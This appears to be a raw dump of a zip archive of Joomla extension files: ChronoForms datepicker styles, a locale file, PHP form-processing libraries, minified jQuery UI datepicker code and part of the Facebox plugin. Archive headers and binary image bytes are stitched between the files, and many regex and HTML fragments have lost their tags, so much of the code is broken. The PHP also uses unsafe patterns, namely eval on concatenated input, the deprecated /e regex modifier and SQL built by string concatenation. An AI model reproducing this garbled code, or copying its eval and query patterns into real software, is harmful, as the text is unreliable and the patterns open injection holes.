position: relative; height: 15px; margin-bottom: 5px; padding-top: 1px; } .datepicker_jqui .header .title { text-align: center; margin: 3px 18px 0 18px; } .datepicker_jqui .header .titleText { font-size: 11px; color: #fff; } .datepicker_jqui .header .previous, .datepicker_jqui .header .next, .datepicker_jqui .header .closeButton { position: absolute; cursor: pointer; text-indent: -40px; overflow: hidden; width: 16px; height: 16px; top: 4px; background-image: url(arrows.png); background-position: left top; background-repeat: no-repeat; } .datepicker_jqui .header .previous { left: 4px; } .datepicker_jqui .header .previous:hover { background-position: left bottom; } .datepicker_jqui .header .next { right: 4px; background-position: -17px top; } .datepicker_jqui .header .next:hover { background-position: -17px bottom; } .datepicker_jqui .header .closeButton { display: none; right: 0px; top: 0px; background-position: right top; } .datepicker_jqui .header .closeButton:hover { background-position: right bottom; } /* body ********************************************************/ .datepicker_jqui .body { position: relative; top: 6px; left: 2px; width: 185px; height: 131px; overflow: hidden; } /* time ********************************************************/ .datepicker_jqui .time { position: relative; width: 100%; height: 100%; } .datepicker_jqui .time .hour, .datepicker_jqui .time .separator, .datepicker_jqui .time .minutes { background: #fff; border: 0px; width: 50px; font-size: 32px; color: #333; border: 1px solid #aaa; position: absolute; top: 18px; text-align: center; padding: 2px; } .datepicker_jqui .time .hour { left: 23px; } .datepicker_jqui .time .separator { background: transparent; border: 0px; width: 10px; left: 84px; } .datepicker_jqui .time .minutes { left: 103px; } .datepicker_jqui .time .ok { position: absolute; top: 80px; height: 32px; width: 136px; left: 23px; font-size: 20px; } /* days-grid ********************************************************/ .datepicker_jqui .days .day { float: left; overflow: hidden; width: 19px; padding-top: 1px; padding-right: 3px; height: 13px; border: 1px solid #aaa; text-align: right; margin: 0 2px 2px 0; } .datepicker_jqui .days .titles { margin-bottom: 1px; } .datepicker_jqui .days .titles .title { border: 1px solid transparent; text-align: center; height: 16px; padding-right: 0px; width: 22px; padding-top: 2px; } .datepicker_jqui .days .day0 { margin-right: 0; } .datepicker_jqui .days .week5 .day { margin-bottom: 0; } /* days-colors ********************************************************/ .datepicker_jqui .days .week .day { background: #fcfcfc; cursor: pointer; color: #1C94C4; } .datepicker_jqui .days .week .day:hover { background: #fdf5ce; color: #c77405; border: 1px solid #fbcb09; } .datepicker_jqui .days .week .otherMonth { background: #f2f2f2; color: #94B2BE; border: 1px solid #aaa; } .datepicker_jqui .days .week .selected { background: #fff; color: #c77405; border: 1px solid #fbcb09; } /* months-grid ********************************************************/ .datepicker_jqui .months .month { float: left; text-align: center; overflow: hidden; width: 57px; cursor: pointer; background: #fcfcfc; padding-top: 7px; height: 22px; border: 1px solid #aaa; margin: 0 2px 2px 0; } .datepicker_jqui .months .month3, .datepicker_jqui .months .month6, .datepicker_jqui .months .month9, .datepicker_jqui .months .month12 { margin-right: 0; } .datepicker_jqui .months .month10, .datepicker_jqui .months .month11, .datepicker_jqui .months .month12 { margin-bottom: 0; } /* months-colors ********************************************************/ .datepicker_jqui .months .month:hover { background: #fdf5ce; color: #c77405; border: 1px solid #fbcb09; } .datepicker_jqui .months .selected { background: #fff; color: #c77405; border: 1px solid #fbcb09; } /* years-grid ********************************************************/ .datepicker_jqui .years .year { float: left; text-align: center; overflow: hidden; background: #fcfcfc; width: 32px; cursor: pointer; padding-top: 7px; height: 22px; border: 1px solid #aaa; margin: 0 2px 2px 0; } .datepicker_jqui .years .year4, .datepicker_jqui .years .year9, .datepicker_jqui .years .year14, .datepicker_jqui .years .year19 { margin-right: 0; width: 34px; } .datepicker_jqui .years .year15, .datepicker_jqui .years .year16, .datepicker_jqui .years .year17, .datepicker_jqui .years .year18, .datepicker_jqui .years .year19 { margin-bottom: 0; } /* years-colors ********************************************************/ .datepicker_jqui .years .year:hover { background: #fdf5ce; color: #c77405; border: 1px solid #fbcb09; } .datepicker_jqui .years .selected { background: #fff; color: #c77405; border: 1px solid #fbcb09; } /* global ********************************************************/ .datepicker_jqui .unavailable { cursor: default !important; background: #f0f0f0 !important; color: #ccc !important; border: 1px solid #ccc !important; } .datepicker_jqui table { border-spacing: 0; } .datepicker_jqui th, .datepicker_jqui th, .datepicker_jqui td { padding: 0; border:none; } PKGy>\>S;com_chronoforms/js/datepicker_moo/datepicker_jqui/frame.pngnuW+APNG  IHDRTmLgAMAOX2tEXtSoftwareAdobe ImageReadyqe<PLTE NPNQT!#$8998:<>@!$'*-025  G tRNS'*YrIDATx[N0%jz/}bkjH'!a= i=\q]zy* PrlNRlpmto4vscnǤjO4;IQҰ6A3)Y@Fˊ*ҳ܉`O]P- *St7d]F [)}Gy || T7Ere}Ee @K'dS2@>@p2E @@0E 6% ܦd @}@ @@ @@'3E @N& @"2@9199 bVe*\[IENDB`PKGy>\SA <com_chronoforms/js/datepicker_moo/Locale.nl-NL.DatePicker.jsnuW+A/* --- name: Locale.nl-NL.DatePicker description: Dutch Language File for DatePicker authors: Arian Stolwijk requires: [More/Locale] provides: Locale.nl-NL.DatePicker ... */ Locale.define('nl-NL', 'DatePicker', { select_a_time: 'Selecteer een tijd', use_mouse_wheel: 'Gebruik uw scrollwiel om door de tijd te scrollen', time_confirm_button: 'OK', apply_range: 'OK', cancel: 'Annuleer', week: 'W' }); PKGy>\)#com_chronoforms/libraries/.htaccessnuW+A Order allow,deny Deny from all PKGy>\5@@(com_chronoforms/libraries/chronoform.phpnuW+A'; print_r($array); echo ''; } } class CFChronoForm { var $form_details; var $form_name; var $form_params; var $form_actions = array(); var $form_actions_data = array(); var $form_output = ''; var $main_event_actions = array(); var $validation_errors = array(); var $data = array(); var $debug = array(); var $files = array(); var $stop = false; var $loaded_validation = false; var $admin = false; var $session_token = null; var $extra_content = ''; var $last_action_result = null; var $disguised = false; var $extension_name = 'ChronoForms'; var $option = 'com_chronoforms'; var $connection_name = null; function __construct($formname = ''){ if(!empty($formname)){ if((strpos($formname, "_virtual_form_") !== false) && (strpos($formname, "_virtual_form_") == 0)){ $this->getVForm($formname); }else{ $this->getForm($this->_cleanName($formname)); } }else{ die('Form name can NOT be empty!'); } } public static function &getInstance($formname = '', $reset = false){ static $instances; $mainframe = JFactory::getApplication(); if(!isset($instances)){ $instances = array(); } if(empty($instances[trim($formname)]) || $reset){ $instances[trim($formname)] = new CFChronoForm($formname); return $instances[trim($formname)]; }else{ return $instances[trim($formname)]; } } function getForm($formname){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__chronoforms` WHERE `name` = '".$formname."' AND `published` = '1' ORDER BY `id` DESC"; $database->setQuery($query); $form = $database->loadObject(); //set data array $this->_set_form_data(); if(!empty($form)){ $this->form_details = $form; $this->form_name = $form->name; //load params $this->form_params = new JParameter($form->params); //load actions $query = "SELECT * FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$form->id."' ORDER BY `order`"; $database->setQuery($query); $this->form_actions = $database->loadObjectList(); return true; }else{ $this->form_details = new stdClass(); $this->form_name = '';//$formname; $this->form_params = new JParameter(''); return false; } } function getVForm($fid){ $this->form_details = new stdClass(); $this->form_name = $fid; $this->form_params = new JParameter(''); $this->_set_form_data(); return $this; } function _set_form_data(){ //set the form data if(isset($_GET) && !empty($_GET)){ $this->data = array_merge($this->data, JRequest::get('get', JREQUEST_ALLOWRAW)); } if(isset($_POST) && !empty($_POST)){ $this->data = array_merge($this->data, JRequest::get('post', JREQUEST_ALLOWRAW)); } } //get action data function get($action_id, $param_name){ if(isset($this->form_actions_data['cfaction_'.$action_id])){ $v = $this->form_actions_data['cfaction_'.$action_id]; if(isset($v->$param_name)){ //we need to get the data of a main element return $v->$param_name; }else{ //we need to get a param value $params = new JParameter($v->params); return $params->get($param_name, ''); } }else{ } } //set action data function set($action_id, $param_name, $param_value){ if(isset($this->form_actions_data) && !empty($this->form_actions_data)){ if(isset($this->form_actions_data['cfaction_'.$action_id])){ $v = $this->form_actions_data['cfaction_'.$action_id]; if(isset($v->$param_name)){ //we need to get the data of a main element $v->$param_name = $param_value; return true; }else{ //we need to get a param value $params = new JParameter($v->params); $params->set($param_name, $param_value); $v->params = $params->toString(); return true; } }else{ return false; } }else if(isset($this->form_actions) && !empty($this->form_actions)){ $action_id_pcs = explode("_", $action_id); $id = $action_id_pcs[count($action_id_pcs) - 1]; foreach($this->form_actions as $v){ if($v->order == $id){ if(isset($v->$param_name)){ //we need to get the data of a main element $v->$param_name = $param_value; return true; }else{ //we need to get a param value $params = new JParameter($v->params); $params->set($param_name, $param_value); $v->params = $params->toString(); return true; } } } return false; }else{ return false; } } function checkEvent($event){ if(isset($this->form_details->events_actions_map)){ $events = unserialize(base64_decode($this->form_details->events_actions_map)); if(!empty($event) && is_array($events['events']) && isset($events['events'][$event])){ return true; }else{ return false; } } } function injectAction($actions_list_path, $action_object, $position = 'last'){ //inject the action in the correct event in the events map $events = unserialize(base64_decode($this->form_details->events_actions_map)); $actions_list = $this->get_array_value($events, explode('.', $actions_list_path)); if($position === 'last'){ $actions_list['cfaction_'.$action_object->type.'_'.$action_object->order] = ''; }else if($position == 'first'){ } $events = $this->set_array_value($events, explode('.', $actions_list_path), $actions_list); $this->form_details->events_actions_map = base64_encode(serialize($events)); $this->form_actions[] = $action_object; } function createAction($action_name, $params = array()){ $new_action_details = new stdClass(); $new_action_details->type = $action_name; $new_action_details->enabled = 1; if(!empty($params['enabled'])){ $new_action_details->enabled = (int)$params['enabled']; } $new_action_details->content1 = ''; if(!empty($params['content1'])){ $new_action_details->content1 = $params['content1']; } $new_action_Params = new JParameter(''); foreach($params as $k => $v){ $new_action_Params->set($k, $v); } $new_action_details->params = $new_action_Params->toString(); return $new_action_details; } function process($event = null){ $return = true; //check app exclusive if(((bool)$this->form_params->get('app_exclusive', 0) === true) && !empty($this->form_details->app) && ($this->extension_name == 'ChronoForms')){ return false; } //process the event if(is_string($event) && !empty($event) && !empty($this->form_name) && isset($this->form_details->events_actions_map)){ //process the event $events = unserialize(base64_decode($this->form_details->events_actions_map)); //print_r2($events); $actionsArray = array(); if(isset($this->form_actions) && !empty($this->form_actions)){ foreach($this->form_actions as $action_index => $action_data){ $actionsArray['cfaction_'.$action_data->type.'_'.$action_data->order] = $action_data; } } $this->form_actions_data = $actionsArray; //print_r2($this->form_actions_data); $return = $this->_processEvents($event, $events['events']); //for the val $object = new stdClass(); $object->type = 'show_val'; $object->enabled = 1; $object->required = 1; $object->content1 = $this->__checkVal(); $this->main_event_actions[] = $object; } return $return; } function _processEvents($currentEvent, $events = null){ $return = true; if(is_array($events) && isset($events[$currentEvent])){ $event_value = $events[$currentEvent]; if(isset($event_value['actions']) && is_array($event_value['actions'])){ $event_actions = $event_value['actions']; foreach($event_actions as $action => $action_data){ if(!$this->stop){ if(is_int($action)){ $action = $action_data; $action_data = array(); } $action_events = null; $action_events = $this->_processAction($this->form_actions_data[$action], $action_data); //check action events if($action_events && is_array($action_data) && isset($action_data['events'])){ foreach($action_events as $action_event => $v){ $action_event = 'cfactionevent_'.$this->form_actions_data[$action]->type.'_'.$this->form_actions_data[$action]->order.'_'.$action_event; $this->_processEvents($action_event, $action_data['events']); } } }else{ //add a stop sign to halt the views processing at this point $object = new stdClass(); $object->type = '_STOP_'; $this->main_event_actions[] = $object; $return = false; } } } } return $return; } function _processAction($action_details, $action_data = array()){ $action = $action_details->type; if($action && isset($action_details->enabled) && (int)$action_details->enabled == 1){ $this->main_event_actions[] = $action_details; return $this->runAction($action_details); } } function runAction($action_details, $forceView = false){ if($forceView){ $this->main_event_actions[] = $action_details; } $this->last_action_result = null; $action = $action_details->type; $actionFile = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action.DS.$action.'.php'; if(file_exists($actionFile)){ $classname = 'Cfaction'.$this->_camilize($action); if(!class_exists($classname)){ require_once($actionFile); } ${$classname} = new $classname(); $methods = get_class_methods(${$classname}); if(in_array('run', $methods)){ if(isset($this->form_details->id)){ ${$classname}->form_id = $this->form_details->id; } ${$classname}->form_name = $this->form_name; $this->loadActionHelper($action); ob_start(); $this->last_action_result = ${$classname}->run($this, $action_details); $this->form_output .= ob_get_clean(); if(isset(${$classname}->events) && is_array(${$classname}->events)){ return array_filter(${$classname}->events); }else{ return false; } } }else{ die('ChronoForms action file missing, Please make sure this file exists:
      '."JOOMLA_ROOT".DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action.'.php'); } } function loadActionHelper($action){ //Try to load helper file $classname = 'Cfaction'.$this->_camilize($action).'Helper'; $actionFile = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action.DS.'cfaction_'.$action.'.php'; if(class_exists($classname)){ return true; }else if(!class_exists($classname) && file_exists($actionFile)){ require_once($actionFile); return true; }else{ return false; } } function getActionDetails($action_id){ if(isset($this->form_actions_data['cfaction_'.$action_id])){ return $this->form_actions_data['cfaction_'.$action_id]; }else{ return false; } } function __checkVal(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $jversion = new JVersion(); if($jversion->RELEASE > 1.5){ $query = "SELECT * FROM `#__extensions` WHERE `element` = '".$this->option."' AND `type` = 'component'"; }else{ $query = "SELECT * FROM `#__components` WHERE `option` = '".$this->option."' AND `parent` = '0' AND `admin_menu_link` = 'option=".$this->option."'"; } $database->setQuery($query); $result = $database->loadObject(); $configs = new JParameter($result->params); $extension = $this->extension_name; if($configs->get('licensevalid', 0)){ return ''; }else{ return str_replace('_EXTENSION_NAME_', $extension, ''); } } function addDebugMsg($msg = ''){ $this->debug[] = $msg; } function curly_replacer($content = '', $data = array(), $exploder = '.', $replace_null = false){ preg_match_all('/{([^(}|{| )]*?)}/i', $content, $curly_matches); if(isset($curly_matches[1]) && !empty($curly_matches[1])){ foreach($curly_matches[1] as $match){ $value = $this->get_array_value($data, explode($exploder, $match)); if(!is_null($value)){ if(is_array($value)){ $content = str_replace("{".$match."}", var_export($value, true), $content); }else{ $content = str_replace("{".$match."}", $value, $content); } }else{ if($replace_null === true){ $content = str_replace("{".$match."}", '', $content); } } } } return $content; } function _cleanName($formname){ $formname = preg_replace('/[^A-Za-z0-9_-]/', '', trim($formname)); return $formname; } function escapeVar($var){ if(is_array($var)){ foreach($var as $k => $v){ $var[$k] = $this->escapeVar($v); } return $var; }else{ return strtr($var, array("\x00" => '\x00', "\n" => '\n', "\r" => '\r', '\\' => '\\\\', "'" => "\'", '"' => '\"', "\x1a" => '\x1a')); } } function _camilize($class = ''){ $class = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $class); return $class; } function getSessionToken(){ $session_key_param = $this->form_params->get('session_key_param', 'cf_sid'); if(isset($this->session_token) && !empty($this->session_token)){ //return $this->session_token; }else if(strlen(trim(JRequest::getVar($session_key_param, ''))) > 0){ $this->session_token = trim(JRequest::getVar($session_key_param, '')); }else{ $this->session_token = md5($this->form_name.rand(111111111, 999999999)); } //add the field to the end of the shown form code/page $this->extra_content .= ''; return $this->session_token; } function get_array_value($array, $indexes){ if(count($indexes) == 1){ if(is_array($array) && isset($array[$indexes[0]])){ return $array[$indexes[0]]; }else{ return NULL; } } $index = array_shift($indexes); if($index == "[n]" && is_array($array)){ //indexed numeric loop $data_array = array(); foreach($array as $k => $v){ $data_array[$k] = $this->get_array_value($array[$k], $indexes); } return $data_array; }else{ if(isset($array[$index])){ return $this->get_array_value($array[$index], $indexes); }else{ return NULL; } } } function set_array_value($array, $indexes, $value){ eval('$array["'.implode('"]["', $indexes).'"] = $value;'); return $array; } function flatten_array($array, $preserve_keys = 0, &$out = array()) { foreach($array as $key => $child) if(is_array($child)) $out = $this->flatten_array($child, $preserve_keys, $out); elseif($preserve_keys + is_string($key) > 1) $out[$key] = $child; else $out[] = $child; return $out; } function search_array($array, $params = array('value' => '')){ $results = array(); if(is_array($array)){ $value = $params['value']; if(isset($params['key'])){ $key = $params['key']; if(isset($array[$key]) && $array[$key] == $value){ $results[] = $array; } }else{ foreach($array as $k => $v){ if($v == $value){ $results[] = $array; } } } foreach($array as $subarray){ $results = array_merge($results, $this->search_array($subarray, $params)); } } return $results; } function debug_trace(){ $debug = debug_backtrace(false); foreach($debug as $k => $v){ if(!empty($debug[$k]['args'])){ foreach($debug[$k]['args'] as $dk => $dv){ if(is_object($dv) && get_class($dv) != 'stdClass'){ unset($debug[$k]['args'][$dk]); } } } } return $debug; } function data($var = null, $default = null){ if(empty($var)){ return null; } if(isset($this->data[$var])){ return $this->data[$var]; }else{ return $default; } } function getConnectionVar($var){ if(!empty($this->connection_name)){ $MyConnection = CFChronoConnection::getInstance($this->connection_name); if(isset($MyConnection->$var)){ return $MyConnection->$var; } } return null; } }PKGy>\t@[[5com_chronoforms/libraries/includes/display_errors.phpnuW+A get('dataload_skip', '')); ob_start(); eval( "?>".$html_code); $html_code = ob_get_clean(); if(!empty($this->validation_errors)){ foreach($this->validation_errors as $fname => $error){ $pattern_error_div = '/]*?)id=("|\')error-message-'.$fname.'("|\')([^>]*?)>([^<\/div>]*?)<\/div>/is'; if(is_array($error)){ $error = "
      1. ".implode("
      2. ", $error)."
      "; } $html_code = preg_replace($pattern_error_div, '
      '.$error.'
      ', $html_code); } } return $html_code; } function _cfskipregex($regex){ $reserved = array('[', ']'); $replace = array('\[', '\]'); return str_replace($reserved, $replace, $regex); } } ?>PKGy>\-com_chronoforms/libraries/includes/index.htmlnuW+APKGy>\.Or,,5com_chronoforms/libraries/includes/data_republish.phpnuW+A get('dataload_skip', '')); ob_start(); eval( "?>".$html_code); $html_code = ob_get_clean(); //get all fields names preg_match_all('/name=("|\')([^(>|"|\')]*?)("|\')/i', $html_code, $fieldsnamesmatches); $all_fields_names = array(); foreach($fieldsnamesmatches[2] as $fieldsnamesmatche){ if(strpos($fieldsnamesmatche, '[]')){ $fieldsnamesmatche = str_replace('[]', '', $fieldsnamesmatche); } $all_fields_names[] = trim($fieldsnamesmatche); } $all_fields_names = array_unique($all_fields_names); //print_r($all_fields_names ); /* foreach($all_fields_names as $field_name){ if(!isset($data[$field_name])){ //check if its an array if(strpos($field_name, '[') !== false){ $data = $this->processArrayField($field_name, $data); } }else{ if(is_array($data[$field_name])){ $data[$field_name] = implode(', ', $data[$field_name]); } $data[$field_name] = htmlentities($data[$field_name], ENT_QUOTES, 'UTF-8'); } } */ //end fields names //text/password fields + all new HTML5 fields types //$pattern_input = '/]*?)type=("|\')(text|password)("|\')([^>]*?)>/is'; $pattern_input = '/]*?)type=("|\')(text|password|color|date|datetime|datetime-local|email|month|number|range|search|tel|time|url|week)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_code, $matches); foreach ( $matches[0] as $match ) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); $field_value = $this->fieldValue($matches_name[2], $data); //check for multiple fields array if(is_array($field_value)){ $single_value = array_shift($field_value); $data[str_replace("[]", '', $matches_name[2])] = $field_value; $field_value = $single_value; if(strlen($field_value) == 0){ $field_value = "__CF_DEFAULT_VALUE_REMOVE__"; } } $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($matches_name[2], $skippedarray) && $field_value_count){ $valuematch = preg_replace($pattern_value, '', $match); //fix if the value contains a dollar sign if(strpos($field_value, '$') !== false){ $field_value = str_replace('$', '\\$', $field_value); } $namematch = preg_replace($pattern_name, 'name="${2}" value="'.htmlspecialchars($field_value).'"', $valuematch); $pos = strpos($html_code, $match); $html_code = substr_replace($html_code, $namematch, $pos, strlen($match));//('/'.preg_quote($match, '/').'/', $namematch, $html_code, 1); } } $html_code = str_replace("__CF_DEFAULT_VALUE_REMOVE__", '', $html_code); //hidden fields $pattern_input = '/]*?)type=("|\')hidden("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_code, $matches); foreach ($matches[0] as $match) { //make sure its not a ghost if(strpos($match, 'alt="ghost"') === false){ $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($matches_name[2], $skippedarray) && $field_value_count){ $valuematch = preg_replace($pattern_value, '', $match); //fix if the value contains a dollar sign if(strpos($field_value, '$') !== false){ $field_value = str_replace('$', '\\$', $field_value); } $namematch = preg_replace($pattern_name, 'name="${2}" value="'.htmlspecialchars($field_value).'"', $valuematch); $html_code = str_replace($match, $namematch, $html_code); } } } //checkboxes or radios fields $pattern_input = '/]*?)type=("|\')(checkbox|radio)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_code, $matches); foreach ($matches[0] as $match) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); preg_match($pattern_value, $match, $matches_value); $field_name = str_replace('[]', '', $matches_name[2]); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($field_name, $skippedarray) && $field_value_count){ $namematch = $match; //multi values if(is_array($field_value)){ if(in_array($matches_value[2], $field_value)){ $namematch = preg_replace('/'.$this->_cfskipregex('name=("|\')(.*?)("|\')').'/i', 'name="${2}" checked="checked"', $match); }else{ //remove any default value set by default $pattern_checked = '/checked=("|\')checked("|\')/i'; $namematch = preg_replace($pattern_checked, '', $match); } //single values }else{ if($matches_value[2] == $field_value){ $namematch = preg_replace($pattern_name, 'name="${2}" checked="checked"', $match); }else{ //remove any default value set by default $pattern_checked = '/checked=("|\')checked("|\')/i'; $namematch = preg_replace($pattern_checked, '', $match); } } $html_code = str_replace($match, $namematch, $html_code); } } //textarea fields $pattern_textarea = '/]*?)>(.*?)<\/textarea>/is'; $matches = array(); preg_match_all($pattern_textarea, $html_code, $matches); $namematch = ''; foreach ( $matches[0] as $match ) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($matches_name[2], $skippedarray) && $field_value_count){ $pattern_textarea2 = '/()(.*?)(<\/textarea>)/is'; //fix if the value contains a dollar sign if(strpos($field_value, '$') !== false){ $field_value = str_replace('$', '\\$', $field_value); } $newtextarea_match = preg_replace($pattern_textarea2, '${1}'.htmlspecialchars($field_value).'${4}', $match); $html_code = str_replace($match, $newtextarea_match, $html_code); } } //select boxes $pattern_select = '//is'; $matches = array(); preg_match_all($pattern_select, $html_code, $matches); foreach ($matches[0] as $match) { $selectmatch = $match; $pattern_select2 = '/]*?)>/is'; preg_match_all($pattern_select2, $match, $matches2); $options = preg_replace(array('/'.$this->_cfskipregex($matches2[0][0]).'/is', '/<\/select>/i'), array('', ''), $match); $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $matches2[0][0], $matches_name); $field_name = str_replace('[]', '', $matches_name[2]); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($field_name, $skippedarray) && $field_value_count){ //multi select if(strpos($matches2[0][0], 'multiple') !== false){ $pattern_options = '//is'; preg_match_all($pattern_options, $options, $matches_options); foreach($matches_options[0] as $matches_option){ $pattern_value = '/value=("|\')(.*?)("|\')/i'; preg_match($pattern_value, $matches_option, $matches_value); $optionmatch = $matches_option; if(is_array($field_value) && in_array($matches_value[2], $field_value)){ $optionmatch = preg_replace('/
      "+(i[0]>0&&G==i[1]-1?'
      ':""):"");O+=y}w+=O}w+=e+(d.browser.msie&&parseInt(d.browser.version,10)<7&&!a.inline?'':"");a._keyEvent=false;return w},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var j=this._get(a,"changeMonth"), l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),k='
      ',o="";if(h||!j)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(k+=o+(h||!(j&&l)?" ":""));if(!a.yearshtml){a.yearshtml="";if(h||!l)k+=''+c+"";else{g=this._get(a,"yearRange").split(":");var s=(new Date).getFullYear();i=function(q){q=q.match(/c[+-].*/)?c+parseInt(q.substring(1),10):q.match(/[+-].*/)?s+parseInt(q,10):parseInt(q,10);return isNaN(q)?s:q};b=i(g[0]);g=Math.max(b,i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()): g;for(a.yearshtml+='";k+=a.yearshtml;a.yearshtml=null}}k+=this._get(a,"yearSuffix");if(u)k+=(h||!(j&&l)?" ":"")+o;k+="
      ";return k},_adjustInstDate:function(a,b,c){var e=a.drawYear+(c== "Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a,"onChangeMonthYear"); if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-this._daylightSavingAdjust(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, "dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= function(a){if(!this.length)return this;if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker, [this[0]].concat(b));return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new M;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.14";window["DP_jQuery_"+A]=d})(jQuery); PKGy>\M((#com_virtuemart/assets/js/facebox.jsnuW+A/* * Facebox (for jQuery) * version: 1.2 (05/05/2008) * @requires jQuery v1.2 or later * * Examples at http://famspam.com/facebox/ * * Licensed under the MIT: * http://www.opensource.org/licenses/mit-license.php * * Copyright 2007, 2008 Chris Wanstrath [ chris@ozmm.org ] * * Usage: * * jQuery(document).ready(function() { * jQuery('a[rel*=facebox]').facebox() * }) * * Terms * Loads the #terms div in the box * * Terms * Loads the terms.html page in the box * * Terms * Loads the terms.png image in the box * * * You can also use it programmatically: * * jQuery.facebox('some html') * jQuery.facebox('some html', 'my-groovy-style') * * The above will open a facebox with "some html" as the content. * * jQuery.facebox(function($) { * $.get('blah.html', function(data) { $.facebox(data) }) * }) * * The above will show a loading screen before the passed function is called, * allowing for a better ajaxy experience. * * The facebox function can also display an ajax page, an image, or the contents of a div: * * jQuery.facebox({ ajax: 'remote.html' }) * jQuery.facebox({ ajax: 'remote.html' }, 'my-groovy-style') * jQuery.facebox({ image: 'stairs.jpg' }) * jQuery.facebox({ image: 'stairs.jpg' }, 'my-groovy-style') * jQuery.facebox({ div: '#box' }) * jQuery.facebox({ div: '#box' }, 'my-groovy-style') * * Want to close the facebox? Trigger the 'close.facebox' document event: * * jQuery(document).trigger('close.facebox') * * Facebox also has a bunch of other hooks: * * loading.facebox * beforeReveal.facebox * reveal.facebox (aliased as 'afterReveal.facebox') * init.facebox * afterClose.facebox * * Simply bind a function to any of these hooks: * * $(document).bind('reveal.facebox', function() { ...stuff to do after the facebox and contents are revealed... }) * */ (function($) { $.facebox = function(data, klass) { $.facebox.loading() if (data.ajax) fillFaceboxFromAjax(data.ajax, klass) else if (data.iframe) fillFaceboxFromHref(data.iframe,klass, data.rev) else if (data.image) fillFaceboxFromImage(data.image, klass) else if (data.div) fillFaceboxFromHref(data.div, klass, data.rev) else if (data.text) fillFaceboxFromText(data.text, 